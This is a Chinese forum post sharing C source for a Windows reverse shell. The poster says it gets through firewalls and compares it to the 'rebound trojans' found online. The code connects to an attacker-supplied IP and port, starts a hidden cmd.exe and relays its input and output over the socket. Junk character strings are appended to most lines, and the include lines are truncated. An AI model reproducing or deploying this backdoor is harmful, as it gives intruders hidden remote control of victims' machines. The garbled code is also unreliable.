社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5861阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HB+\2jEE  
GoI3hp(  
/* ============================== ]bG8DEwD  
Rebound port in Windows NT `zNvZm-E  
By wind,2006/7 p!MOp-;-  
===============================*/ l  I&%^>  
#include ;F@N2j#  
#include uUUj?%  
k#8,:B2  
#pragma comment(lib,"wsock32.lib") @;iW)a_M  
6% @@~"  
void OutputShell(); }+K SZ,  
SOCKET sClient; N@$g"w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  o *2TH2  
sjpcz4|K  
void main(int argc,char **argv) (Yz EsY  
{ `p@YV(  
WSADATA stWsaData; ~yH<,e  
int nRet; *~F\k):>  
SOCKADDR_IN stSaiClient,stSaiServer; c}a.  
3%?01$k  
if(argc != 3) A2{u("^[6  
{ #>+O=YO  
printf("Useage:\n\rRebound DestIP DestPort\n"); - Dm/7Sxd`  
return; Yyq:5V!  
} S3V3<4CB  
w /$4 Rv+S  
WSAStartup(MAKEWORD(2,2),&stWsaData); p/|]])2  
ozZW7dveU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $=7[.z&  
'u }|~u?m  
stSaiClient.sin_family = AF_INET; ;iJ*.wVq  
stSaiClient.sin_port = htons(0); 5CZii=@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e"u=4nk  
WQ/H8rOs  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {=W TAgP  
{ C zKU;~D=B  
printf("Bind Socket Failed!\n"); *f8; #.Re  
return; UD|Qa  
} C%ibIcm y  
zQJ9V\0  
stSaiServer.sin_family = AF_INET; fD3}s#M*G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Zgt:ZO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9(>]6|XS  
kB-%T66\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [A?Dx-R;(  
{ ?\MvAG7Y  
printf("Connect Error!"); xc.(-g[  
return; V @A+d[  
} \2(Uqf#_  
OutputShell(); 8<UD#i@:C  
} l+BJh1^  
JivkY"= F  
void OutputShell()  7e\g  
{ z1t YD  
char szBuff[1024]; 0|g|k7c{rF  
SECURITY_ATTRIBUTES stSecurityAttributes; GAONgz|ZI  
OSVERSIONINFO stOsversionInfo; p._BG80  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V!#+Ti/w4  
STARTUPINFO stStartupInfo; )UA$."~O  
char *szShell; 1|)l6#hOL  
PROCESS_INFORMATION stProcessInformation; %|L+~=  
unsigned long lBytesRead; B#RwW,  
7%C6hEP/*W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <aJdm!6  
5z8CUDt 0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n?vw|'(}  
stSecurityAttributes.lpSecurityDescriptor = 0; '_& Xemz  
stSecurityAttributes.bInheritHandle = TRUE; q<mDs$^K  
/t=R~BJu  
~1xln?Q  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _-aQ.p ?T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !Z978Aub3&  
>e y.7YG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QXZjsa_|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s`W\`w}  
stStartupInfo.wShowWindow = SW_HIDE; 7`;55Se  
stStartupInfo.hStdInput = hReadPipe; ~kUdHne (  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XXsN)2  
KE3/sw0  
GetVersionEx(&stOsversionInfo); aIV(&7KT4  
tZlz0BY!  
switch(stOsversionInfo.dwPlatformId) *RugVH4  
{ M)td%<_  
case 1: '=?IVm #C  
szShell = "command.com"; va \ 5  
break; NF`WA-W8@  
default: ?I{pv4G:  
szShell = "cmd.exe"; ]O'dwC  
break; H^cB ?i  
} <rd7<@>5D  
i$HA@S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P6,~0v(S  
~|+! xh  
send(sClient,szMsg,77,0); et|QW;*L  
while(1) Fy!u xT-\  
{ Ws'OJ1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'EFSr!+  
if(lBytesRead) FSZQ2*n5  
{ 7Io]2)V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +JoE[;  
send(sClient,szBuff,lBytesRead,0); ZS51QB  
} "L^Klk?Vn  
else >vE1,JD)w  
{ yi`Z(j;  
lBytesRead=recv(sClient,szBuff,1024,0); pp{Za@j  
if(lBytesRead<=0) break; jQjtO"\JG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rb_ cm  
} E- ,/@4k  
} EU?)AxH^  
1<#J[$V  
return; #~J)?JL  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八